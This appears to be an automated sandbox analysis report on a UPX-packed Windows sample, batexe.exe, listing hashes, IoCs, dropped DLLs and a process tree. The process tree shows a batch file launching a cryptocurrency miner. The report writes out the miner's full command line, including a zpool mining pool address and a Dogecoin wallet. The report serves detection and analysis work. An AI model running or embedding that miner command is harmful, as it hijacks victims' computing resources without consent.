73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
299s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
13/02/2024, 23:36

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4376	b2e.exe
1028	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1028	cpuminer-sse2.exe
1028	cpuminer-sse2.exe
1028	cpuminer-sse2.exe
1028	cpuminer-sse2.exe
1028	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4764-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4764 wrote to memory of 4376	4764	batexe.exe	74
PID 4764 wrote to memory of 4376	4764	batexe.exe	74
PID 4764 wrote to memory of 4376	4764	batexe.exe	74
PID 4376 wrote to memory of 4412	4376	b2e.exe	75
PID 4376 wrote to memory of 4412	4376	b2e.exe	75
PID 4376 wrote to memory of 4412	4376	b2e.exe	75
PID 4412 wrote to memory of 1028	4412	cmd.exe	78
PID 4412 wrote to memory of 1028	4412	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4764
- C:\Users\Admin\AppData\Local\Temp\B18D.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\B18D.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\B18D.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4376
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\B650.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4412
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1028

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\B18D.tmp\b2e.exe

Filesize
1.8MB

MD5
f51fe7ed64e17eb639e2b77a503596fc

SHA1
9de36c8a5bd8a21c006aabe8c222294852a802f1

SHA256
706fdab761081f7c0cbe20066009c226b25636178215be354891409ae09eecc7

SHA512
ffd4c6f3d081da80edc1bdcc52052d9965c854f7f4fe83e655da803a0fc5f9c261219ec8e12b45ba432cec0d740d314e2be5700a592e581b9f057bccfe516fca

Download Submit
C:\Users\Admin\AppData\Local\Temp\B18D.tmp\b2e.exe

Filesize
4.2MB

MD5
281a882bb509fe3af7e9fed755483f45

SHA1
7896952966b1a2154d80e686ce2412d684b29872

SHA256
6c0b951844e27a55bceb839c4e9f770d2069f96de39003fa4ac9af34f94ed8e9

SHA512
054199c2fb1cfad43da8f7099ab62b8f148429989410666f8ad7560cf4826b1d106696f7be67d545ad3842fa2cde5f1bd44e6edf539a6f98e300540ef6412210

Download Submit
C:\Users\Admin\AppData\Local\Temp\B650.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
832KB

MD5
43dd8ab1a0fd7f177db516faa81a9635

SHA1
66a8b6940797f3396a4f1a6deafca1fda5bffcdd

SHA256
d4b58fa7e09511b58f312b57e2067823a7f31ff5cd6369cbf5ef3667c27b60ea

SHA512
064753e38fb6e2d64a8ce067a52c24b55eb11cf714a534f3557a0e2bd2f5fba16030d8496c7787f4b272ae6a696f4b017d99771488832d12711a7158c927f772

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.1MB

MD5
6c400df2142883c874bff307a21c4634

SHA1
c982896dec1ef7a12f46ab5986c2841490f2c738

SHA256
c516595732232399df0f60f657bba9a831096a039f099730da37a59f831d611c

SHA512
3ceece8814f47904ce56a58ceedb74345a48118a31c1e0435ec7aaefdf5a684df96360ec472dcda3158dd7a3a8ebd58137dc246f20debee1df9cfe7f39a16e40

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.5MB

MD5
6c2fdea3a7a0f82e7a057fbe12afdf48

SHA1
2666a6923380c9e555ca08e55d33731993f53b2c

SHA256
ca8b6d5d6091bb1f16d603f1e92a68fdc7ecff2413529fe909f90a0fe7eba1e2

SHA512
087910aacd31bd290b4d6eeb6cdd3673234c600fd2b2296eb91153b7cb7e0e9adc62825341eb4ca2951b0278e601d8e71afaa453362fb070f3e95d6693f4e885

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.2MB

MD5
7f357fdbc9d564be37f0755874b679f7

SHA1
06a282598b4f14960024264b4390517b87fe8565

SHA256
600a518d56f34c313dda50eb6400563ff69348c6c4a101e8108b9dab75b51d65

SHA512
d158e1265afc9c684a328510242907975ab7d9395345231d4c2b09e71a54e751861d49d253a96f7455661ff0f3b50069aa39b5ffaa89d5f7d88e001d86c07651

Download Submit
memory/1028-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1028-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1028-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1028-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1028-42-0x0000000063030000-0x00000000630C8000-memory.dmp

Filesize
608KB

Download
memory/1028-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1028-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/1028-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1028-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1028-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1028-58-0x0000000063030000-0x00000000630C8000-memory.dmp

Filesize
608KB

Download
memory/1028-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1028-74-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1028-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1028-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4376-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4376-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4764-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download